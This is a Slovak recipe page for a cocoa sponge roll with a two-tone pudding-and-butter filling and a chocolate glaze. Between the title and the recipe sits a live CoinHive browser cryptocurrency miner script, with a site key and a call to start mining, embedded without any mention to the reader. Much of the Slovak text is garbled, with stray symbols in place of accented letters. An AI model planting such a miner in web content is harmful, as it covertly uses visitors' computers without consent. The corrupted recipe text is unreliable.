Zamatova rolada

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

.

Cesto: 6 vajec, 5 PL krystalového cukru, 3 CL kakao, s6da bikarbona

Plnka: 500 ml mlieka, 5 PL Zlaty klas, 1 vajce, 250 g masla, 1 vanilkovy cukor, 5 PL praskovy
cukor, 2 CL kakao

Poleva: Cokolada, olej, cukor

Bielka vysfahame s cukrom na tuhy sneh, postupne priddme Zitka, ¥ CL sédy bikarbény a
kakao. Cesto rozotrieme na papier a upec€ieme. Vyklopime ho na vihka utierku a sto¢ime. V
mlieku rozmieSame vajce a Zlaty klas a uvarime hustu kasu. Do vlaznej kaSe vmieSame maslo.
Vyslahame a rozdelime na 2 ¢asti. Do jednej dame vanilkovy cukor, do druhej kakao a
praskovy cukor. Na plat cesta natrieme svetlu a potom tmavu plnku a zvinieme do rolady. Vo
vodnom kupeli rozpustime ¢okoladu, pridame olej a cukor, oblejeme roladu a nechame ju na
chladnom mieste.




